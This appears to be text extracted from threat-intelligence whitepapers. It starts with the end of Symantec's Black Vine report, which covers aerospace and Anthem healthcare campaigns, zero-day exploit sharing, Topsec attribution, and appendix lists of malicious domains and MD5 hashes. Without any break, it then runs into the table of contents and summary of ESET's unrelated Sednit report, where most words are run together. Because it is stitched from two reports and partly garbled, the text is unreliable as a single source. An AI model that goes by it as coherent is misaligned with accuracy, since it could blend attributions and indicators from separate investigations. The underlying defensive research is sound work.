However, altering the host file on the infected computer could allow the victim to discover that their computer had been compromised.
http://community.spiceworks.com/topic/495631-citrix-apps-used-as-lure-in-targeted-attack-against-global-airline http://www.securityfocus.com/bid/65551 http://www.securityfocus.com/bid/65551 http://rats.gist.symantec.com/rats/trait/6611189 Page 13 The Black Vine cyberespionage group The Sakurel samples seen in Black Vines attack against one aerospace industry victim modified the victims host file to redirect the legitimate URLs and IP addresses in Table 1.
While investigating this attack, multiple aerospace-themed domains were discovered which could be traced back to Black Vine.
The domains www.avmpet .com and gifas.
asso.net were used sometime between late January and mid-February 2014.
Additionally, Symantec and multiple third-party sources previously reported that these domains were used in targeted attacks against the aerospace industry.
The malicious domain gifas.assso.net was likely created to disguise it as the legitimate European aerospace industry association website gifas.asso.fr.
During the time of this investigation, the gifas.asso.net domain was being used to deliver malware and the referring page was www.savmpet .com.
The numbers of concurrent attacks conducted by Black Vine against organizations within the aerospace industry are unknown.
However, Symantec assesses with moderate confidencebelieves that multiple targeted campaigns took place in early to mid-2014.
Targeted cyberespionage operations against aerospace-related organizations with custom malware and the use of zero-day exploits fit the TTPs typically associated with a well-funded public or private organization attacker.
Healthcare In February 2015, a major cyberespionage campaign targeting the healthcare industry was publicly disclosed.
The breach involved healthcare company Anthem, which was affected by an attack that led to the exposure of over 80 million patient records.
Initial reports claimed that Anthem identified the breach on January 26, 2015, when a system administrator discovered that a database query had been run with their own credentials without their knowledge.
Shortly after this discovery, Anthem realized the magnitude of the breach, which likely began in May 2014.
Based on the samples analyzed in our investigation, Symantec identified that the Black Vine malware variant known as Mivast was used in the Anthem breach.
Other third-part vendors also cited Mivast as the malware used in the Anthem attack.
Similar to other Black Vine attacks, the DTOPTOOLZ Co digital signature was used to sign the Mivast binary.
Additionally, the attackers used multiple domains designed to pose as healthcare- and technology-related organizations in this breach.
These domains were identified on Black Vines infrastructure, as detailed in Table 2.
Black Vine does not usually register domains with the same email address.
The registrant address li2384826402yahoo.com appears to belong to a domain reseller and is likely not directly associated with Black Vine.
Table 1.
Domains and IP addresses added to modified host files Domain IP address csg.secure.
[VICTIM DOMAIN] 217.108.
[REMOVED] ctx.secure.
[
VICTIM DOMAIN] 217.108.
[REMOVED] fdm.secure.
[
VICTIM DOMAIN] 217.108.
[REMOVED] qa.fdm.secure.
[
VICTIM DOMAIN] 217.108.
[REMOVED] qa.indigo.secure.
[
VICTIM DOMAIN] 217.108.
[REMOVED] pi.secure.
[
VICTIM DOMAIN] 217.108.
[REMOVED] qa.secure.
[
VICTIM DOMAIN] 217.108.
[REMOVED] qasd.secure.
[
VICTIM DOMAIN] 217.108.
[REMOVED] sd.secure.
[
VICTIM DOMAIN] 217.108.
[REMOVED] int.tcua.secure.
[
VICTIM DOMAIN] 217.108.
[REMOVED] qa.tcua.secure.
[
VICTIM DOMAIN] 217.108.
[REMOVED] secure.
[
VICTIM DOMAIN] 217.108.
[REMOVED] Table 2.
Domains disguises as healthcare and technology companies Domain Registrant address Date created ssl-vait.com li2384826402yahoo.com May 17, 2014 ssl-vaeit.com li2384826402yahoo.com May 17, 2014 sharepoint-vaeit.com li2384826402yahoo.com May 20, 2014 we11point.com e59eqq.com April 21, 2014 healthslie.com allbodygoogese.com April 24, 2014 prennera.com rgreeyfue76gjgmail.com September 12, 2013 topsec2014.com topsec_2014163.com June 5, 2014 http://www.symantec.com/connect/blogs/potential-internet-explorer-10-zero-day-vulnerability http://community.websense.com/blogs/securitylabs/archive/2014/02/14/msie-0-day-exploit-cve-2014-0322-possibly-targeting-french-aerospace-organization.aspx Page 14 The Black Vine cyberespionage group Table 3 includes details on a few of the Mivast samples found in the Anthem breach.
It is unclear what mechanisms were used to deliver the malware.
It is likely that the threat was delivered through spear-phishing emails, since a watering- hole attack was never seen or reported in the breach.
The malware itself was disguised using Citrix and Juniper VPN lures, indicating that the initial attack may have been aimed at Anthems technical staff.
Who is behind Black Vine?
We analyzed the groups infrastructure, resources, and attack patterns in order to find out who the Black Vine attackers could be and what their motivations are.
We also researched open source data, which suggests that some actors of Black Vine may be associated with a Beijing-based company known as Topsec.
Topsec association A blog from Threat Connect noted that the registration information for infrastructure used in the Anthem breach leads back to a Chinese origin.
Infrastructure associated with the Mivast malware sample (MD5:230D8 A7A60A07DF28A291B13DDF3351F) seen in the Anthem attacks resolved to IP address 192.199.254.126.
The domain topsec2014.com was one of only a few domains hosted on this IP address close to the same time frame that Mivast accessed CC infrastructure hosted on the same IP address.
The topsec2014.
com domain can be traced back to the registrant address topsec2014163.com, which is believed to be associated with the similar email address TopSec_2014163.com.
The topsec2014 domain and the previously mentioned email addresses are associated with an organization called Topsec.
Topsec is a company that began as a research institute in Beijing and has since expanded to nearly every province of China.
The organization focuses on security research, training, auditing, and products.
Its customers include private businesses as well as public agencies.
It also hosts an annual hacking competition known as the Topsec Cup and has reportedly hired known hackers to provide security services and training.
Table 3.
Mivast sample details observed in Anthem breach MD5 hash CC domain Compile time 98721c78dfbf8a45d152a888c804427c extcitrix.we11point.com December 20, 2013, 01:34:53 230d8a7a60a07df28a291b13ddf3351f sharepoint-vaeit.com May 23, 2014, 09:07:49 Figure 4.
Details on the Topsec Network Security  Technology Company http://www.threatconnect.com/news/the-anthem-hack-all-roads-lead-to-china/ http://rats.gist.symantec.com/rats/trait/9703314 http://rats.gist.symantec.com/rats/trait/10375578 Page 15 The Black Vine cyberespionage group Zero-day access and distribution Multiple Black Vine campaigns have exploited previously unknown zero-day vulnerabilities to deliver the groups custom payload.
Zero-day exploits typically require attackers to have an advanced skillset to identify and then determine how to exploit the unheard-of vulnerability.
Generally, these exploits can be purchased through underground networks or may be created by specialized exploit developers.
Both approaches require access to extensive financial resources.
In the case of Black Vine, Symantec has identified a pattern between this attack groups activity and other cyberespionage-related campaigns.
These campaigns were seen using the same zero-day exploits but delivering a different payload.
There appears to be shared access to zero-day exploits, which are distributed and used within days of one another among different attack groups, as the diagram in Figure 5 shows.
Concurrent CVE-2012-4792 zero-day exploits In late December 2012, the Council on Foreign Relations (CFR) website was compromised.
The domain was reported as serving an exploit against an unknown vulnerability found in Internet Explorer 6, which was eventually labelled CVE-2012-4792.
At the time of exploitation, there was no patch or remediation in place for the vulnerability, leaving victims using the vulnerable version of Internet Explorer helpless.
Once the unpatched vulnerability was exploited, the attackers delivered a variant of Backdoor.
Bifrose to the victims computer.
Based on Symantecs previous findings, Bifrose has been associated with another cyberespionage campaign.
Symantec does not believe that either this adversary or the CFR compromise is associated with Black Vine.
As mentioned previously in this report, in December 2012, the Capstone Turbine website was compromised by Black Vine.
Based on the first known instances where malicious code was spotted on both the CFR and Capstone websites, the attacks began on or around the same week as one another.
In both website compromises, the domains were serving exploits against the same Internet Explorer zero-day Figure 5.
Zero-day distribution and framework http://www.symantec.com/security_response/writeup.jsp?docid2004-101214-5358-99 Page 16 The Black Vine cyberespionage group vulnerability (CVE-2012-4792).
The primary difference between the attacks was that the Sakurel payload was delivered in the Capstone attack while Bifrose was distributed in the CFR attack.
Concurrent CVE-2014-0322 zero-day exploits In February 2014, there was another instance of two attack groups sharing the use of a zero-day exploit to deliver different payloads.
Between February 11 and February 15, 2014, the websites of the US Veterans of Foreign Wars (VFW.org) and the home page of a large European aerospace manufacturer both became victims of watering-hole attacks.
Similar to the 2012 attacks, the sites were forced to redirect to an exploit for a previously unknown zero-day vulnerability in Internet Explorer (CVE-2014-0322) in order to deliver a malicious payload.
In the VFW.org attack, the delivered payload was a variant of Backdoor.
Moudoor.
Moudoor has been used in targeted attacks by a group previously reported by Symantec, referred as Hidden Lynx.
The attack against the aerospace manufacturer took place simultaneously with the VFW attack and exploited the same zero-day vulnerability.
The payload in the aerospace watering-hole attack was Black Vines Sakurel malware.
Elderwood link The simultaneous attacks between different attack groups seen in 2012 and 2014 exploited the same zero-day vulnerabilities at the same time, but delivered different malware.
The malware used in these campaigns are believed to be unique and customized to each group.
However, the concurrent use of exploits suggests a shared access to zero-day exploits between all of these groups.
Symantec has previously identified the platform that has been used to deliver zero-day exploits to multiple attack groups as the Elderwood framework.
Previous attacks exploiting zero-day vulnerabilities sourced from the Elderwood framework are believed to have originated from attackers based in China.
Attribution Black Vine appears to have access to resources to develop and update its own custom malware, and obtain zero-day exploits for its targeted attacks.
This access and capability suggest that Black Vine is well funded and resourced.
Black Vines continuous campaigns against targeted industries, beginning in late 2012, fit the TTPs associated with organized cyberespionage actors.
Certain Black Vine infrastructure seems to be associated with the Beijing-based security organization Topsec.
The relationship with Black Vine and Topsec provides evidence of the past or present geography of at least some actors involved in this groups activity.
Access to the Elderwood framework is another indicator that Black Vine is in working relationships with actors associated with widely reported cyberespionage attacks over the past several years.
Along with this, Black Vine has been observed using Elderwood-distributed zero-day exploits simultaneously with other threat actors.
http://www.symantec.com/security_response/writeup.jsp?docid2012-100817-2451-99 https://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/hidden_lynx.pdf http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf CONCLUSION Many of the campaigns analyzed by Symantec have been targeted attacks against the energy, aerospace, healthcare, and other industries.
Page 18 The Black Vine cyberespionage group Conclusion Black Vine has been conducting its attacks since at least 2012.
Many of the campaigns analyzed by Symantec have been targeted attacks against the energy, aerospace, healthcare, and other industries.
Black Vine used three variants of malware throughout the years known as Hurix, Sakurel, and Mivast.
All three variants originated from one malware family that was likely created and updated by the same author or developer.
Each variant has been updated to add features and is re-hashed to avoid detection.
In a number of attacks, the malware has been delivered onto the victims computer after Black Vine has exploited a zero-day vulnerability primarily through watering-hole attacks.
The zero-day exploits used in these attacks are believed to have been distributed through the Elderwood distribution framework.
Additionally, the goal of all analyzed Black Vine campaigns has been cyberespionage.
The Anthem attack is one the most publicized and damaging attacks against the US health industry.
However, the healthcare industry is only one of several large cyberespionage-based campaigns conducted by Black Vine.
As outlined in the findings of our investigation, Black Vine has also attacked the aerospace and energy industries.
By investigating and documenting the TTPs, malware, targets, and exploits used in these attacks over time, Symantec hopes to shed light on the history of the Black Vine attack group.
Symantecs goal in creating this report is to provide an assessment of this attack group to help organizations better understand the attackers and their motivations.
Knowing the signs to identify Black Vines activity will help analysts build better defenses and allow decision-makers to react to Black Vine attacks more effectively.
Mitigation Symantec has the following detections in place to protect against Black Vines malware: AV Backdoor.
Mivast Trojan.
Sakurel IPS System Infected: Trojan.
Sakurel Activity http://www.symantec.com/security_response/writeup.jsp?docid2015-020623-0740-99 http://www.symantec.com/security_response/writeup.jsp?docid2014-022401-3212-99 http://www.symantec.com/security_response/attacksignatures/detail.jsp?asid27394 APPENDIX Page 20 The Black Vine cyberespionage group Appendix Black Vine domains The following domains have been associated with Black Vine activity: ameteksen.com asconline.we11point.com assso.net capstoneturbine.cechire.com.
caref1rst.com careflrst.com EmpireB1ue.com extcitrix.we11point.com facefuture.us gifas.blogsite.org gifas.cechire.com healthslie.com hrsolutions.we11point.com icbcqsz.com me.we11point.com mycitrix.we11point.com myhr.we11point.com oa.ameteksen.com oa.ameteksen.com oa.technical-requre.com oa.trustneser.com polarroute.com prennera.com savmpet.com sharepoint-vaeit.com sinmoung.com ssl-vaeit.com ssl-vait.com topsec2014.com vipreclod.com vpn.we11point.com we11point.com webmail.kaspersyk.com webmail.vipreclod.com.
wiki-vaeit.com www.we11point.com ysims.com Black Vine MD5s The following MD5s represent malware and hack tools used in the Black Vine targeted attacks: 019a5f531f324d5528ccc09faa617f42 01c45a203526978a7d8d0457594fafbf 023ef99bc3c84b8df3f837454c0e1629 0334b1043c62d48525a29aeb95afcb09 Page 21 The Black Vine cyberespionage group 04e8510007eea6bb009ab3b053f039db 04f17c37259533e301b01a8c64e476e6 05cd4bfeac3ad6144b5f5023277afa45 065aa01311ca8f3e0016d8ae546d30a4 06ec79f67ad8ede9a3bd0810d88e3539 07b678ed364b23688b02a13727166a45 0a2c6265a65a25e9bef80f55cdd62229 0a8a4cfa745b6350bea1b47f5754595e 0ae8ace203031f32e9b1ac5696c0c070 0b6a0ca44e47609910d978ffb1ee49c6 0d0f5c0416247bb1dd6e0e2be1114b67 0e5d1b941dcb597eb9b7dc1f0694c65f 0ff96f4dbfe8aa9c49b489218d862cd7 1077a39788e88dbf07c0b6ef3f143fd4 1098e66986134d71d4a8dd07301640b1 116dbfd8f5b6c5a5522d3b83a3821268 121320414d091508ac397044495d0d9c 124089995494be38d866de08c12f99ef 1240fbbabd76110a8fc29803e0c3ccfb 127cd711193603b4725094dac1bd26f6 1371181a6e6852f52374b4515aaa026a 13e99782f29efa20a2753ac00d1c05a0 1472fffe307ad13669420021f9a2c722 15ccb0918411b859bab268195957c731 1856a6a28621f241698e4e4287cba7c9 1893cf1d00980926f87c294c786892d2 191696982f3f21a6ac31bf3549c94108 1a6c43b693bb49dad5fe1637b02da2c6 1b826fa3fd70a529623ed1267944cee5 1d016bb286980fd356cab21cdfcb49f4 1de5db7cef81645f3f0e7aabdb7551a8 1ff57a7aa2aa92698356f6c157290a28 205c9b07c449a9c270aabe923123c0c1 21131bce815f2cb1bc0eb1fbf00b3c25 21ee6c85f431c2aa085b91ac0c86d27f 230d4212692c867219aba739c57f0792 23169a0a2eee3d12fde0f3efd2cd55f1 2414d83e97cb4c442b5594c6fbafe045 2567d2bbcce5c8e7dcabcd2c1db2a98a 276f06196001dcfa97a035509f0cd0aa 29bd6cfc21250dfa348597a21a4a012b 2adc305f890f51bd97edbece913abc33 2ca3f59590a5aeab648f292bf19f4a5e 2f23af251b8535e24614c11d706197c3 2ff61b170821191c99d8b75bd01726f2 33be8e41a8c3a9203829615ae26a5b6e 34b7aa103deefbe906df59106683cc97 34db8fb5635c7f0f76a07808b35c8e55 352411e5288b2c6ea5571a2838c8f7f3 360273db9ac67e1531257323324d9f62 372aa07662fb5779c8bf16d46fb58acb 3759833848a8cd424bf973d66e983e91 Page 22 The Black Vine cyberespionage group 3859b0ea4596d8f47677497d09bcc894 388a7ae6963fd4da3ec0a4371738f4e0 391c01bdbeb5975c85cee0099adb132c 3a1df1ec3ef499bb59f07845e7621155 3b70ab484857b6e96e62e239c937dea6 3d2c2fdd4104978762b89804ba771e63 3e0016d728b979b7f8fd77a2738047eb 3edbc66089be594233391d4f34ec1f94 3fc6405499c25964dfe5d37ee0613a59 3ff30fce107a01d3d17a9768abe6e086 41093a982526c6dc7dbcf4f63814d428 416e598fb1ed9a7b6ce815a224015cb8 416e831d583665352fe16fe9232d36cf 419ce8f53d5585abd144e9e76113639d 421bff8f5dd218727283a2914424eccc 4315274a5eda74cd81a5ec44980876e8 43e6a46d8789e1563e94ff17eff486d7 470e8dd406407b50483ce40de46660af 488c55d9a13c7fa8ee1aa0c15a43ab1e 492c59bddbcbe7cbd2f932655181fb08 4a6f45ff62e9ab9fe48f1b91b31d110e 4d8482da8730a886e4d21c5bfb7cd30e 4dc526eb9d04f022df9fa2518854bbb4 501db97a6b60512612909cfe959fbcd0 5382efbecccf8227c7adc443e229542f 5482deee917c374bab43dd83a4a6c722 5496cff5e3bf46448c74fbe728763325 55daa4271973bb71ad4548225675e389 567a33e09af45123678042e620f31769 586c418bf947a0ef73afd2a7009c4439 5a843bc0b9f4525b1ee512e1eba95641 5a894c18c5cc153f80699145edd1c206 5b27234b7f28316303351ea8bcfaa740 5b76c68f9ca61bfd8a5bcbf2817a1437 5bb780344a601f4eff9ce0c55daf4361 5dbdc2839e3f5c2dd35f3def42002663 5eea7686abeba0affa7efce4da31f277 5ff5916c9f7c593d1d589c97c571b45a 617eda7bcba4e3d5acc17663bbc964b3 62d4777dd8953743d26510f00b74f444 62e82c46647d2d2fe946791b61b72a4d 638304bf859e7be2f0fa39a655fdaffc 63ae83244a8d7ca1eef4e834eb0eb07f 63c0978e2fa715a3cad6fb3068f70961 63f171705b28a05c84b67750b7e0ebf7 64201ec97467910e74f40140c4aaa5ce 67112866e800b9dce2892cf827444d60 67fceab90a142e1e286bca0922dbffd3 69314300da7a4a0e95be545b804565dd 69374e5bcb38a82ef60c97ec0569ded3 6a273afa0f22d83f97d9fd2dc7dce367 Page 23 The Black Vine cyberespionage group 6a7b2feed82d8d1746ac78df5a429bce 6bdf4e5b35b4cc5d3d519edc67086d7f 6c3523020a2ba0b7045060707d8833ea 6c4d61fedd83970cf48ef7fdd2a9871b 6d308fc42618812073481df1cd0452a7 71bbd661a61e0fee1f248f303af06f3f 7248d4b73d68cfc023d8d156c63f6b74 74eb66027ac6fa5a59632383e09915e2 77a25486d425825986d2c6306a61f637 7d2c9936bff1e716b8758376cd09505d 7ee7a9446d7cf886223274d809d375d6 80eb86542ce7ad99acc53a9f85b01885 81d74b0e9560f2bf780f12893d885f41 836a618341c6149e7c83e99755a7fd5f 848fcb062218ae3162d07665874429a7 8506064925a774a8d11d9fac374eb86a 895dc0a3adfafce2a74d733ff2a8754e 8b3de46ecb113cd1ee2d9ec46527358f 8b52cd1df70ef315bce38223ac7f4ec3 8f523f7fc73e52d54bb4e94dc44768b0 8feb7d6eae0ab9c1900fb6d0b236201b 90bc832fbaa6bbd7e4251c39473e5a4b 91569c57fc342161c479603f3b527c1d 930af711a1579f3e1326cdb6d0005398 9526e4abcacc4e4a55fa1b2fc2313123 96fab28f1539f3909a255436bc269062 97479fa13d9b96da33cdb49749fc2baf 97a6e9e93bc591baf588bada61559d6a 97fc2d9b514f3183ae7c800408e5c453 985e819294cdc3b5561c5befa4bcbc5b a006d31515bb2a54b5c3ddda8d66f24b a00a19c85c42cb49ad48c0be349daec0 a00e275feb97b55776c186579d17a218 a034a674b439d9b3d3ad1718bc0c6bb0 a05bc6c5f63880b565941ac5c5933bfe a104ab14c9a1d425a0e959f046c97f29 a1a15a9e82880e8fc881668c70126315 a2030658767635894abdb3742db5e279 a225ee8669c52540b5056fd848f1e267 a2bdb2aaf4d8eacbbb634476f553455b a33c6daba951f7c9a30d69b5e1e58af9 a39729153ceaeaf9b3aded9a28d0e4dc a39c424e6df5d10b74aa72fb3a120c0c a4856f40fd013b6144db8fe19625434b a53782f0790258d7ae1c9330b4106976 a548d3dedd85683930d9732ed0316ec0 a554e8867a076768e57e923a249f7a09 a759b73716bdc406b9a20ebef394bc6d a7e467e16834e80a5713e0d6bb73def5 a81569d86c4a7bce2c446f169816a7ff a90e38c3214eeba99aa46ad5e3ec34ff Page 24 The Black Vine cyberespionage group a91ba2ab82553f43440ed24a9afeef82 ab357c26a2ed7379b62dd1cc869690b7 ab557f2197647aa3fb7be3de8770a109 ab8badbf16a0cd7013197977f8b667e9 ab91b9e35d2b1e56285c042eef95d324 aca2756917024c859d1f13ca1cdcb843 ae55d7b5c3d3bc7ed338d40ada25902f aec367555524a71efcc60f45e476c678 aeed29398ceb645213cf639a9f80367c af114e711259964b1db0235e9b39a476 af661cb478510d1d00dfdf1f2de4e817 b011a616da408875bd0d39cebf11dd1d b297c84e2cdeacdbae86cbf707fc7540 b31e97c9740d8e95e56a5957777830d7 b38c4766ec0c5fb9b9e70af0b7414e78 b42417f49dd3aa2d31449fdf06769ca0 b4958424c5db8b0eca61ce836b81d192 b4e24a4edba2d2644877cfc933973228 b6b3e7b18384bb632602662a7f559bcd b6d9a58bacb8a92e428f7d70532cb33e b79be0503606ee3e2ce243e497265dbb b7bd80dd344af7649b4fd6e9b7b5fd5c b7e3f853e98ea9db74bf3429803f7a4b b8006fde97a095b2c86f8b0a06b7d24f b8346b4a5f8b4a6d79814f9824940504 b83fed01e49300d45afadc61a5e5cf50 ba5415f34927a356d4aaffb4bd7fe907 bb4bb0d7a794f31129cdb55025ea847b bb57362757182b928d66d4963104ffe8 bc74a557e91597d8b37ed357c367643e bccaa2ea0cf2c8ef597c84726c5417d0 bd48ca50da3b76aa497f28d842954c12 bdb6a8a95e5af85d8b36d73ba33ec691 bf35690e72a3fbd66ff721bd14a6599e c0e37ffac09a426c5a74167d0e714177 c1f09f902a24b5132be481d477b92e5e c248fc62283948a3664019b58446a23e c35300af4a2b23c1a7d6435c6d4cb987 c43d74b85001f622aad61e9da5744b52 c4f541ab592c8fca4d66235eb2b8eeb2 c5933a7ca469e98f7799c3ab52a1bc3c c66b335fb606b542206b5a321beb2a76 c6d1954b58a17bd203e7b6be9d5047d8 c6eab24761a223e6c6f1a9d15ecca08a c72fb5b8de6ee95ff509b161fe9828f3 c823946a7490b8fc5ee29be583f39d23 c83500ea6e0c9844ad2e21badb64bb23 c8fa5701a43cd817b30327e44dc70369 cc15a9109b41297f65a7349920f42c09 cd1c95aa6f45101735d444aeb447225c cfd1eb4ccdeea554d8cffa17021ffbfa Page 25 The Black Vine cyberespionage group d1f0ff695021aed31ada3397ad1f491e d2a27b9acb8dc9a9adbde76d2a10a189 d3cb441f03e8370155381d74c2b7d827 d57075de72308ed72d8f7e1af9ce8431 d5d6881b4bef3544d9067b71af3287eb d7351f6937379dbbeedc83d37a86e794 d810b773e694279ece31106c26fb2869 d82230d1ac02405d16530f849abdde0b d875a70c4b07dcc18770870c9c1d2abd d87ce47e24ee426d8ac271873b041d50 d8b496c4837b80952c52e1375c31648c dc7469f6b18cfce712156e3988d238d2 dda9f3b2d5e70e70be1be7e4195b7016 df15e0f3169f65080ee7d783c061cda3 df689186b50384026382d5179841abec dfea1e69d2f5d84a1b6c6b67b01b7ff8 e0b6a8e23e0d586663e74f1e1d755ae0 e13bf40bbdbba86d638c04e0d72de268 e1b53ff413915e03245807b2eba504eb e36028a1bf428bb5a0993dc445deb5b8 e595292b1cdaea69ef365097a36195ad e604176c2638fdf015d6a346803ed6f3 e66164b4967cf7b3cdb3c1c510abe957 e7113c872386edd441e7030d185238ca e7139a2e1e28efd6c303dc28f676ffe3 e804f5d88ceb937b6ce0c900260793d3 e9115f553ac156542dcd38042f45ec68 ef855c88842821a15a80bbee00024817 ef94e4b0bd689972df09e19a3ed0653e f0082c886bc04fafe4a2615d75c2eaeb f06b0ee07daa7f914dec27f98a6d8850 f1eb2a68d5d438e93a22b2126c812f4d f2d59757a9795531796df91097d5fa2b f349ee3706c815a79a60d2534284935d f4862b793f89b9ca59da6ac38dff0e2d f583a1fdb3c8be409e2118795ad916ba f5b9862f2d508c57b81fbaaad91030f4 f60f94d257ad5d781595b6c909844422 f8dbcfe4f826aa27724ccfd6b080b26d f918fc73484f2a1684de53040ec816d2 f942344daf85bf211b4a27a1c947843c f9b71e959f79d25bad195f59f5ae502e faed2bcd842e81c180a6ac9dde78f8d5 fc52814e8eb48aca6b87fa43656cbf42 fcad5bdeb3eb2eaa6e1c2bb9d9eb2cc0 fd69439c6e2bac79e490b9572b6c91ad fedf54586ebd00684e20712ad7eb9189 ff1d5c6a476a56eb7ca4e38b57761a4e c71b09dfffd870af2c38a8135762e84d 5acc539355258122f8cdc7f5c13368e1 230d8a7a60a07df28a291b13ddf3351f Page 26 The Black Vine cyberespionage group d76be14a5e3a6ec45150ad2582f5c1a8 740561c8d5d2c658d2134d5107802a9d dba4e180ed355a4ad63ceaf57447b2b7 4ea3afbed7a0c7d0013f454060243fba 4f545dff49f81d08736a782751450f71 fe74dc43af839146f64ec7bea752c4f0 0f218e73da96af2939e75ebea7c958dc 28771cb939b989e2ab898408ccaf5504 beb174ca92c75c8ef4dc4ee24afeabeb fbd85dad36fe13d46eaca7d7f2d50b0b ec85830342217b5d03f6bd26a703ce1a 4e239b731a0f1dbf26b503d5e2a81514 3f0ba1cd12bab7ba5875d1b02e45dfcf 4a7b4635af040cba1851b2f57254ba5e 888876810fa9f85a82645bf5d16468e8 bf29d2c64db69170ae01ebb4eabe9bd3 c869c75ed1998294af3c676bdbd56851 9c4db94cc3bdb9b5864bde553bff1224 6a2ea24ed959ef96d270af5cdc2f70a7 260349f5343244c439b211d9f9ff53cf 07b62497e41898c22e5d5351607aac8e 231d0bfe48388082f5769f3deef5bcab 259ea5f6f3f1209de99d6eb27a301cb7 4297e98e6d7ea326dee3d13e53aa8d70 42d3e38db9f1d26f82ef47f0a0ec0499 8542cf0d32b7c711d92089a7d442333e 9cee5c49dcaad59ea0eea6e7b67c304c c5e90ead14dc49449fa37a2869a45842 c50612ebe76bfd7bc61174c581fb2a95 61fe6f4cb2c54511f0804b1417ab3bd2 e1ccd9f1696e4bf943fa2816356a443b 9a63f72911b385a0c17427444c968ed0 606b9759de1aa61a76cf4afa4ccf8601 928579b6fd1162c3831075a7a78e3f47 a068bf4b31738a08ed06924c7bf37223 5d54c0756fbe33aae5dc8a4484a7aee5 bc99d3f41dfca74f2b40ce4d4f959af0 b2d900e2803dd0bcd5e85b64e24c7910 1bb0fb051cf5ba8772ad8a21616f1edb b30eb3a53002f73dc60ca5c283a894d2 be1e27b75fa14839cb372b66d755d1a3 6d8b786e97d78bd3f71107a12b8e6eba a3ca10e35e6b7dc2e7af2814ce05d412 c80273ed1aee85de66fd35afe32e4672 a3ee3c8f44d10056256408ca7bd2cd5f 2ffea14b33b78f2e2c92aead708a487a e2c32ed6b9cd40cb87569b769db669b7 c2b7bf8a30ac6672d9eb81582bd32a4a cb56b1fc08451d1f56481a29bd1047e9 98721c78dfbf8a45d152a888c804427c 5d04457e3d4026a82ac3ec9b1c0819ec Page 27 The Black Vine cyberespionage group 8ee244ad6b6f2b814d34d26dae880f12 05fd0c8e5a9f5e40c40261aebfc47655 17fc52eca49a9207872ab134a9ba4095 3b3f46caffa4d5eccf9e063c620a7c23 4900d40f92408468f0c65942ac66749e 546b5a5793ba86811d64330598e1ce76 825a5172dbd9abab7f14e0de8af3cc12 a60f6aacd7918a63a307651b08e6fe15 b5dcd230c70b652c7af3e636aea6bbb8 e9e7d0256efae5d6f6b8ce250cceb370 a4e773c39816bfbaad0697e66ff5369a 4a35fe1895aca6dc7df91b00e730b4df 7c2113d2d67926cc7b8c470b33ede5c4 be3fb47cd9fe451bd0f7bd5a382c1f51 8d119ed054373086dbdfaf48c19b6663 b69d47856488fb92aab9b5a7a56569f6 45468c2450e6451cf63d2b9b2b70c632 58d56d6e2cafca33e5a9303a36228ef6 230d8a7a60a07df28a291b13ddf3351f For specific country offices and contact numbers, please visit our website.
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Jon DiMaggio Manager, Cyber Intelligence Analysis http://www.symantec.com go.symantec.com/social/ OVERVIEW Introduction Key findings Targets Attackers resources Campaigns Energy Aerospace Healthcare Who is behind Black Vine?
Topsec association Zero-day access and distribution Attribution Conclusion Mitigation AV IPS Appendix Black Vine domains Black Vine MD5s
En Route with Part 2: Observing the Comings and Goings Version 1.0  October2016 En Route with Sednit Part 2: Observing the Comings and Goings Version 1.0  October2016 TablE Of COnTEnT Executive Summary 5 Introduction 6 TheSednitGroup 6 TheSecondPartoftheTrilogy 7 Attribution 8 PublicationStrategy 8 Xagent: backdoor Specially Compiled for You 10 Identikit 10 Timeline 11 Context 12 Initialization 14 Modules 15 CommunicationChannels 21 ConclusionandOpenQuestions 27 Sedreco: The flexible backdoor 28 Identikit 28 Context 29 DropperWorkflow 29 PayloadWorkflow 30 ConclusionandOpenQuestions 35 Xtunnel: Reaching Unreachable Machines 36 Identikit 36 Timeline 37 BigPicture 38 TrafficProxying 39 AdditionalFeatures 42 ConclusionandOpenQuestions 45 Closing Remarks 46 Indicators of Compromise 47 Xagent 47 Sedreco 48 Xtunnel 49 References 51 lIST Of fIGURES Figure1.
Timelineof0-dayvulnerabilitiesexploitedbytheSednitgroupin2015.
6 Figure2.
MainattackmethodsandmalwareusedbytheSednitgroupsince2014, andhowtheyarerelated 7 Figure3.
Xagentmajorevents 11 Figure4.
PartialdirectorylistingofXagentsourcefiles 12 Figure5.
Xagentcommunicationworkflow 18 Figure6.
CryptRawPacketdatabufferformat 19 Figure7.
URLforGETandPOSTrequests,X.X.X.XbeingtheCCserverIPaddress 22 Figure8.
Formatofthetokenvalue 22 Figure9.
Proxyserversourcefiles 23 Figure10.
CommunicationworkflowbetweenanXagentinfectedcomputerusing MailChannelanditsCCserver,viaaproxyserver 24 Figure11.
EmailsubjectgeneratedbytheP2protocol.
25 Figure12.
Dropperworkflowwiththedevelopersnamesforeachstep 29 Figure13.
ExtractofSedrecoconfiguration.
Thenamesofthefieldsarethosecreated byESETsanalysts.
Fieldsizesareinbytes.
30 Figure14.
CommandregistrationCMDfunctionsarethecommandshandlers 31 Figure15.
DataflowbetweenSedrecoonacompromisedhostanditsCCserver 32 Figure16.
Networkcontactmessageformat.
Computernameisavariably-sizedfield 32 Figure17.
Inboundfileformat.
Fieldsizesareinbytes 33 Figure18.
Outboundfileformat.
Fieldsizesareinbytes 33 Figure19.
ExtractofLZWalgorithmCsourcecode 34 Figure20.
PluginInitexport 35 Figure21.
PluginUnInitexport 35 Figure 22.
XTunnelmajorevents 37 Figure23.
Xtunnelcorebehavior 38 Figure24.
Xtunnelcommunicationworkflow 39 Figure25.
ExtractofTinitializationcode 40 Figure26.1 Messagetoopentunnel0x100onIPaddress192.168.124.1andport4545 41 Figure26.2 Messagetoopentunnel0x200ondomainnametest.comandport4646 41 Figure27.1 XtunnelCFGbeforeobfuscation 44 Figure27.2 XtunnelCFGafterobfuscation 45 lIST Of TablES Table1.
Xagentversion2Linuxmodules 15 Table2.
AgentKernelacceptedcommands 20 Table3.
Xagentversion2Linuxchannels 21 Table4.
Sedrecopayloadcommands 31 Table5.
XtunnelParameters 43 En Route with Sednit 45 EXECUTIvE SUMMaRY TheSednitgroupalsoknownasAPT28,FancyBearandSofacyisagroupofattackers operatingsince2004ifnotearlierandwhosemainobjectiveistostealconfidentialinformation fromspecifictargets.
ThisisthesecondpartofourwhitepaperEnRoutewithSednit,whichcoverstheSednitsgroup activitiessince2014.Here,wefocusonSednitsespionagetoolkit,whichisdeployedontargets deemedinterestingafterareconnaissancephase(describedinthefirstpartofthewhitepaper).
